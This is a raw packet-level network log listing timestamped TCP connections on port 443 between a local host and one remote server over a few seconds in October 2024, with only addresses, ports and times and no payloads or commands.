Oct 29, 2024 04:53:13.950248957 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.950931072 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.950952053 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.951374054 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.951379061 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952469110 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952517986 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952599049 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.952615023 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952685118 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952816963 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.952831030 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952845097 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.952856064 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.952867985 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.952874899 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.954926014 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.954956055 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.955053091 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.955153942 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.955179930 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.976162910 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.976367950 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.976447105 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.976690054 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.976701021 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.976716995 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.976723909 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.979353905 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.979382992 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.979475975 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.979587078 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.979620934 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080096006 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080147982 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080301046 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.080311060 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080369949 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.080375910 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080403090 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080559015 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.080573082 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080588102 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.080589056 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.080595970 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.080604076 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.083944082 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.083998919 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.084074020 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.084286928 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.084306002 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.691260099 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.696470022 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.710042000 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.723403931 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.723448992 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.724987030 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.724998951 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.730165005 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.730201006 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.730737925 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.730750084 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.731236935 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.731251955 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.731887102 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.731897116 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.828252077 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.847862005 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.847876072 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.848628998 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.848634005 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.851392031 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.851836920 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.851907015 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.851994991 CET	49846	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.852020025 CET	443	49846	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.859106064 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.859257936 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.859349966 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.860095024 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.860137939 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.860168934 CET	49847	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.860186100 CET	443	49847	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.865431070 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.865467072 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.865540981 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.865763903 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.865799904 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.865809917 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.865823984 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.865856886 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.866014957 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.866028070 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.867265940 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.867424965 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.867480040 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.867542982 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.867561102 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.867583036 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.867594004 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.870172024 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.870181084 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.870260000 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.870433092 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.870441914 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.976258039 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.976393938 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.976476908 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.976635933 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.976648092 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.976680994 CET	49848	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.976686001 CET	443	49848	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.980951071 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.980988979 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:14.981084108 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.981493950 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:14.981506109 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.605099916 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.605628967 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.605643988 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.606137037 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.606142044 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.607341051 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.607575893 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.607588053 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.607899904 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.607906103 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.610594034 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.610816956 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.610825062 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.611130953 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.611135006 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.652736902 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.653321981 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.653382063 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.653820038 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.653835058 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.719829082 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.720258951 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.720288992 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.720650911 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.720657110 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.734699011 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.734839916 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.734919071 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.735275984 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.735275984 CET	49849	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.735289097 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.735296965 CET	443	49849	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738265991 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738332987 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738430023 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738570929 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738588095 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738615990 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738639116 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738684893 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738780975 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738796949 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.738806009 CET	49850	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.738812923 CET	443	49850	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.740833998 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.740864992 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.740940094 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.741077900 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.741086960 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.742885113 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.743143082 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.743194103 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.743241072 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.743244886 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.743253946 CET	49851	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.743257999 CET	443	49851	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.745162010 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.745187998 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.745277882 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.745372057 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.745398998 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782031059 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782046080 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782128096 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.782160997 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782335997 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782341957 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.782341957 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.782383919 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.782416105 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.782430887 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.784256935 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.784280062 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.784369946 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.784492016 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.784517050 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.866729975 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.866863966 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.866945982 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.867054939 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.867054939 CET	49852	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.867070913 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.867079973 CET	443	49852	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.869637012 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.869654894 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:15.869735003 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.869945049 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:15.869955063 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.474404097 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.474982023 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.475024939 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.475491047 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.475521088 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.482500076 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.482764959 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.482780933 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.483076096 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.483082056 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.486015081 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.486406088 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.486422062 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.486881971 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.486891985 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.526007891 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.527544975 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.527575016 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.528080940 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.528090954 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.605546951 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.605602026 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.605654955 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.605653048 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.605700016 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.605878115 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.605905056 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.605947018 CET	49855	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.605962992 CET	443	49855	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.609128952 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.609296083 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.609327078 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.609390974 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.609608889 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.609627962 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.610034943 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.610040903 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.610177994 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.610205889 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.614768982 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.614905119 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.614949942 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.615076065 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.615089893 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.615127087 CET	49854	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.615132093 CET	443	49854	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.617348909 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.617371082 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.617434978 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.617546082 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.617556095 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.641074896 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.641218901 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.641294956 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.641458988 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.641478062 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.641501904 CET	49853	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.641514063 CET	443	49853	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.644284010 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.644301891 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.644381046 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.644552946 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.644565105 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.658792019 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.658835888 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.658904076 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.659085989 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.659085989 CET	49856	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.659101963 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.659121037 CET	443	49856	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.661509991 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.661565065 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.661648989 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.661787987 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.661804914 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.738816023 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.738883972 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.738938093 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.738951921 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.738986015 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.739034891 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.739253998 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.739264011 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.739273071 CET	49857	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.739276886 CET	443	49857	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.742460966 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.742470026 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:16.742571115 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.742738008 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:16.742746115 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.352015972 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.352535009 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.352572918 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.353040934 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.353068113 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.392201900 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.392731905 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.392749071 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.393224955 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.393229961 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.393964052 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.394299984 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.394316912 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.394718885 CET	49861	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.394726038 CET	443	49861	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.400212049 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.400465965 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.400481939 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.400809050 CET	49859	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.400814056 CET	443	49859	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.482474089 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.483031034 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.483042955 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.483479023 CET	49862	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.483483076 CET	443	49862	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.484232903 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.484741926 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.484810114 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.484873056 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.484873056 CET	49858	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.484894037 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.484916925 CET	443	49858	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.487668991 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.487699032 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.487770081 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.487899065 CET	49863	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.487910032 CET	443	49863	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.522783995 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.522928953 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.522999048 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.523060083 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.523068905 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.523077965 CET	49860	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:17.523081064 CET	443	49860	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:17.525059938 CET	443	49861	13.107.246.60	192.168.2.4
